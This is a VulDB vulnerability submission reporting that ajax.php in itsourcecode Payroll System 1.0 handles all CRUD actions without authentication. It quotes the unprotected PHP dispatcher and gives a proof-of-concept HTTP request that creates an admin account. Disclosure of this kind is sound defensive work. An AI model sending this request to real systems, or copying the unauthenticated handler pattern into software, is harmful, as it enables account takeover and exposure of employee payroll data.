Enviar #886151: itsourcecode Payroll System 1.0 Missing Authentication

Description:
The `ajax.php` file dispatches ALL CRUD operations (create/read/update/delete for users, employees, departments, positions, payroll, attendance, settings) without ANY authentication check. None of the 20+ action handlers verify that the requester is logged in or authorized. An unauthenticated attacker can perform any administrative operation.

Vulnerable Code:
**File**: `ajax.php`, Lines 1-50+
```php
<?php
ob_start();
$action = $_GET['action'];
include 'admin_class.php';
$crud = new Action();

if($action == 'login'){
$login = $crud->login();
}
if($action == 'save_user'){ // No auth check
$save = $crud->save_user();
}
if($action == 'delete_user'){ // No auth check
$save = $crud->delete_user();
}
// 20+ more unprotected action handlers
```

There is no `session_start()`, no `$_SESSION` check, no token validation. Every action is accessible to anyone who knows the URL.

Proof of Concept:
**Create an admin user without authentication**:
```http
POST /ajax.php?action=save_user HTTP/1.1
Host: localhost:8093
Content-Type: application/x-www-form-urlencoded

name=hacker&username=hacker&password=hacker123&type=1
```
Response: `1` (success). User created with admin privileges.

Impact:
- Complete application takeover by any unauthenticated attacker
- Create admin users, modify/delete any record
- Access all employee PII, salary data, attendance records, payroll information
- Delete entire database contents
- Deploy webshells via file upload endpoint (separate vulnerability)

Reference: https://github.com/microwaveabi/vul/issues/7

• Fuente: ⚠️ https://github.com/microwaveabi/vul/issues/7
• Usuario: microwave (UID 96185)
• Sumisión: 2026-07-11 05:07 (hace 2 meses)
• Moderación: 2026-08-26 18:38 (2 months later)
• Estado: Aceptado
• Entrada de VulDB: 395909 [itsourcecode Payroll System 1.0 CRUD Operation ajax.php create/read/update/delete action autenticación débil]
• Puntos: 20